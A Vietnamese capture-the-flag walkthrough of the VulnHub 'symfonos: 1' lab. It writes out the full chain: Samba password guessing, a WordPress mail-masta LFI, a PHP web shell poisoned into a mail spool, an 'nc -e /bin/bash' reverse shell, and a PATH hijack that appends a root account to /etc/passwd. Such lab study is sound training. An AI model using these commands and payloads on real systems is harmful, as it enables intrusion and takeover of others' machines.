Mở đầu
- Lại là mình đây, vào mấy hôm rảnh rỗi lại mò vào vulhub.com để kiếm mấy bài lab để học hỏi, kiếm được bài Difficulty: Beginner nên build lên làm luôn xem nó có Beginner không :v:
- Đây là một bài lab khá mới của tác giả Zayotic trong series symfonos.
- Link bài lab nếu ai muốn khám phá: symfonos: 1
Tấn công
Việc đầu tiên vẫn như thường ngày, build bài lab lên rồi quét địa chỉ ip của nó. Ở đây mình sử dụng
arp-scanđể quét cho nhanh.1 2 3 4root@kali: arp-scan -l Interface: eth0, datalink type: EN10MB (Ethernet) Starting arp-scan 1.9.5 with 256 hosts (https://github.com/royhills/arp-scan) 192.168.19.34 00:0c:29:a0:2f:e9 VMware, Inc.
Web gì thế này, có mỗi cái ảnh là sao, tôi là ai, đây là đâu :scream::scream::scream::scream:
Thử scan tất cả cổng trên này xem sao
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34root@kali:~/Desktop# nmap -p- -A 192.168.19.34 Starting Nmap 7.70 ( https://nmap.org ) at 2019-07-10 14:56 +07 Nmap scan report for symfonos.local (192.168.19.34) Host is up (0.00077s latency). Not shown: 65530 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0) | ssh-hostkey: | 2048 ab:5b:45:a7:05:47:a5:04:45:ca:6f:18:bd:18:03:c2 (RSA) | 256 a0:5f:40:0a:0a:1f:68:35:3e:f4:54:07:61:9f:c6:4a (ECDSA) |_ 256 bc:31:f5:40:bc:08:58:4b:fb:66:17:ff:84:12:ac:1d (ED25519) 25/tcp open smtp Postfix smtpd |_smtp-commands: symfonos.localdomain, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, SMTPUTF8, | ssl-cert: Subject: commonName=symfonos | Subject Alternative Name: DNS:symfonos | Not valid before: 2019-06-29T00:29:42 |_Not valid after: 2029-06-26T00:29:42 |_ssl-date: TLS randomness does not represent time 80/tcp open http Apache httpd 2.4.25 ((Debian)) |_http-server-header: Apache/2.4.25 (Debian) |_http-title: Site doesn't have a title (text/html). 139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP) 445/tcp open netbios-ssn Samba smbd 4.5.16-Debian (workgroup: WORKGROUP) MAC Address: 00:0C:29:A0:2F:E9 (VMware) Device type: general purpose Running: Linux 3.X|4.X OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4 OS details: Linux 3.2 - 4.9 Network Distance: 1 hop Service Info: Hosts: symfonos.localdomain, SYMFONOS; OS: Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 16.08 secondsCon máy này đang sử dụng dịch vụ mail smtp, có samba kìa, thử vào xem có gì k

Có thư mục anonymous, vào mở thì thấy có một tin nhắn của thần Zeus =))
1 2 3 4 5Can users please stop using passwords like 'epidioko', 'qwerty' and 'baseball'! Next person I find using one of these passwords will be fired! -ZeusThử mấy cái
epidioko,qwertyvớibaseballxem thần Zeus có block thật hay không :v:Thử được thư mục helios có mật khẩu là
qwertythật :joy:Có 2 mẩu tin ở đây
file
research.txt:1Helios (also Helius) was the god of the Sun in Greek mythology. He was thought to ride a golden chariot which brought the Sun across the skies each day from the east (Ethiopia) to the west (Hesperides) while at night he did the return journey in leisurely fashion lounging in a golden cup. The god was famously the subject of the Colossus of Rhodes, the giant bronze statue considered one of the Seven Wonders of the Ancient World.file
todo.txt:1 2 31. Binge watch Dexter 2. Dance 3. Work on /h3l105Humm, thử vào http://192.168.19.34/h3l105 xem sao. (À quên, add
192.168.19.34 symfonos.localvào /etc/hosts đã)1 trang Wordpress

Sử dụng
wpscanthì thấy có lỗi như sau:1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32root@kali:~# wpscan --url http://symfonos.local/h3l105/ --plugins-detection aggressive [+] mail-masta | Location: http://symfonos.local/h3l105/wp-content/plugins/mail-masta/ | Latest Version: 1.0 (up to date) | Last Updated: 2014-09-19T07:52:00.000Z | Readme: http://symfonos.local/h3l105/wp-content/plugins/mail-masta/readme.txt | [!] Directory listing is enabled | | Detected By: Known Locations (Aggressive Detection) | | [!] 2 vulnerabilities identified: | | [!] Title: Mail Masta 1.0 - Unauthenticated Local File Inclusion (LFI) | References: | - https://wpvulndb.com/vulnerabilities/8609 | - https://www.exploit-db.com/exploits/40290/ | - https://cxsecurity.com/issue/WLB-2016080220 | | [!] Title: Mail Masta 1.0 - Multiple SQL Injection | References: | - https://wpvulndb.com/vulnerabilities/8740 | - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-6095 | - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-6096 | - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-6097 | - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-6098 | - https://github.com/hamkovic/Mail-Masta-Wordpress-Plugin | | Version: 1.0 (100% confidence) | Detected By: Readme - Stable Tag (Aggressive Detection) | - http://symfonos.local/h3l105/wp-content/plugins/mail-masta/readme.txt | Confirmed By: Readme - ChangeLog Section (Aggressive Detection) | - http://symfonos.local/h3l105/wp-content/plugins/mail-masta/readme.txtĐọc một hồi về plugin
mail-mastathì ở đây có dính Local File Inclusion (LFI)Ở file
/etc/passwdta xác định được có những user sau1 2 3 4 5root helios mysql zeus wordpressCheck lại bằng
smtp-user-enumthì có đúng 3 users này có mail.1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22root@kali:~# smtp-user-enum -M VRFY -U users.txt -t 192.168.19.34 Starting smtp-user-enum v1.2 ( http://pentestmonkey.net/tools/smtp-user-enum ) ---------------------------------------------------------- | Scan Information | ---------------------------------------------------------- Mode ..................... VRFY Worker Processes ......... 3 Usernames file ........... users.txt Target count ............. 1 Username count ........... 3 Target TCP port .......... 25 Query timeout ............ 3 secs Target domain ............ ######## Scan started at Wed Jul 10 16:07:52 2019 ######### 192.168.19.34: root exists 192.168.19.34: helios exists 192.168.19.34: mysql exists ######## Scan completed at Wed Jul 10 16:07:53 2019 ######### 3 results.Chắc hẳn là phải có thư mục chứa mail, mình có thể đọc được mail người khác gửi đến
helios
Thử gửi thư với payload cho
heliosxem sao1 2 3 4 5 6 7 8 9 10 11 12 13 14root@kali:~# telnet 192.168.19.34 25 Trying 192.168.19.34... Connected to 192.168.19.34. Escape character is '^]'. 220 symfonos.localdomain ESMTP Postfix (Debian/GNU) HELO localhost 250 symfonos.localdomain MAIL FROM: tuan@symfonos.localdomain 250 2.1.0 Ok RCPT TO: helios 250 2.1.5 Ok DATA 354 End data with <CR><LF>.<CR><LF> <?php system($_GET['c']); ?>Giờ ta sử dụng đường dẫn sau để kiểm tra xem sao:
view-source:http://symfonos.local/h3l105/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/var/mail/helios&c=id
Ok thành công rồi, chúng ta đã có 1 chú shell =))
Tiếp theo thì ta remote đến nó thôi
Đầu tiên thì mở
nc -lvp 4444bên máy mình đãSử dụng http://symfonos.local/h3l105/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/var/mail/helios&c=nc%20-e%20/bin/bash%20-nv%20192.168.19.100%204444 để remote ngược về.

Ngon, chúng ta đã có máy victim rồi :v:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16helios@symfonos:/home$ find / -perm -u=s 2>/dev/null find / -perm -u=s 2>/dev/null /usr/lib/eject/dmcrypt-get-device /usr/lib/dbus-1.0/dbus-daemon-launch-helper /usr/lib/openssh/ssh-keysign /usr/bin/passwd /usr/bin/gpasswd /usr/bin/newgrp /usr/bin/chsh /usr/bin/chfn /opt/statuscheck /bin/mount /bin/umount /bin/su /bin/ping helios@symfonos:/home$Có vẻ như
/opt/statuscheckcó thể khai thác được, thử run nó lên xem có gì k1 2 3 4 5 6 7 8 9 10 11helios@symfonos:/opt$ ./statuscheck ./statuscheck HTTP/1.1 200 OK Date: Thu, 11 Jul 2019 01:49:50 GMT Server: Apache/2.4.25 (Debian) Last-Modified: Sat, 29 Jun 2019 00:38:05 GMT ETag: "148-58c6b9bb3bc5b" Accept-Ranges: bytes Content-Length: 328 Vary: Accept-Encoding Content-Type: text/htmlHumm, nó chỉ kiểm tra cái trang web có Ok hay k, thử chạy
strings /opt/statuscheckthì ra 1 đoạn này1 2 3curl -I H http://lH ocalhostHDịch ra sẽ là:
1curl -I http://localhostChúng ta cần khám phá được lệnh thực thi này
Có vài phương thức, nhưng ở trong trường hợp này, dựa trên đầu ra
curl ...nó đang thực thi với đường dẫn tương đối của nó, có nghĩa là, với đường dẫn có trong biến môi trường $PATH1 2PATH ABSOLUTE: /usr/bin/curl PATH RELATIVELY: curlViệc của chúng ta bây giờ là phải thay đổi biến $PATH của
heliosvà chuyển hướng của chương trìnhstatuschecksang một thứ mà ta có thể kiểm soát được. Thay vì chạy trong/usr/bin/curl, ta sẽ điều hướng về để nó thực thi trong/tmp/curlchẳng hạn.Giờ chúng ta vào thư mục
/tmprồi tạo 1 filecurl, trong file đó có thứ mình muốn để nó chạy lên với quyềnroot, vì khi chạy/opt/statuscheck, nó sẽ kích hoạt quyềnrootlên. Và với cáicurlgiả kia, bạn có thể chạy quyềnrootvới nội dung là bên trong cái filecurlvừa tạo.Ở đây mình sẽ chọn cách thêm luôn 1 tài khoản
rootvào hệ thống.Cấu trúc của file
/etc/passwd:username:password_crypt:user_id:group_id:name:home_directory:shellVậy giờ mình sẽ tạo 1 file như này :
minhtuan:x:0:0:root:/root:/usr/bin/bashvớixlà mật khẩu đượccrypt.Mình sẽ sử dụng
perlđểcryptpassword.1 2root@kali:~# perl -e 'print crypt("minhtuanact", "ahihi")' ahd.h7gFshGUwVậy
ahd.h7gFshGUwlàpassword crypt, hoàn thiện đoạn thêm user kia sẽ là:1minhtuan:ahd.h7gFshGUw:0:0:root:/root:/usr/bin/bashGiờ sẽ ghi vào file
/tmp/curlvới nội dung sẽ là1echo minhtuan:ahd.h7gFshGUw:0:0:root:/root:/bin/bash >> /etc/passwdLệnh này nó sẽ thêm cái tài khoản của mình mới tạo kia vào
/etc/passwd. Giờ sẽ phải đánh lừastatuscheckđể nó chạy cái thằngcurlgiả kia lên rồi đăng nhập với tài khoản vừa tạo là xong :v:Xúc thôi :v:
1 2 3 4 5 6helios@symfonos:/tmp$ export PATH=/tmp export PATH=/tmp helios@symfonos:/tmp$ /opt/statuscheck /opt/statuscheck sh: 1: curl: Permission denied helios@symfonos:/tmp$Ơ
Permission denied, à chết quên chưa cấp quyền cho filecurl:joy:1 2 3 4 5 6 7 8 9helios@symfonos:/tmp$ export PATH=$PATH_BACKUP export PATH=$PATH_BACKUP helios@symfonos:/tmp$ chmod +x curl chmod +x curl helios@symfonos:/tmp$ export PATH=/tmp export PATH=/tmp helios@symfonos:/tmp$ /opt/statuscheck /opt/statuscheck helios@symfonos:/tmp$Ok rồi, thử switch sang tài khoản vừa được tạo xem (trước tiên phải chạy
export PATH=$PATH_BACKUPtrước nhé, không là k có lệnh thực thi đâu)1 2 3 4 5 6helios@symfonos:/tmp$ su minhtuan su minhtuan Password: minhtuanact root@symfonos:/tmp# id id uid=0(root) gid=0(root) groups=0(root)Vậy là ta đã có quyền root rồi. Đọc cờ cuối thôi

Tổng kết
- Bài này ở mức độ Beginner nhưng mình chẳng thấy nó Beginner tý nào lắm :joy::joy:
- Mong các bạn có thể học hỏi được gì thông qua bài này. Nếu các bạn cảm thấy hay thì cho mình 1 upvote nhé :D
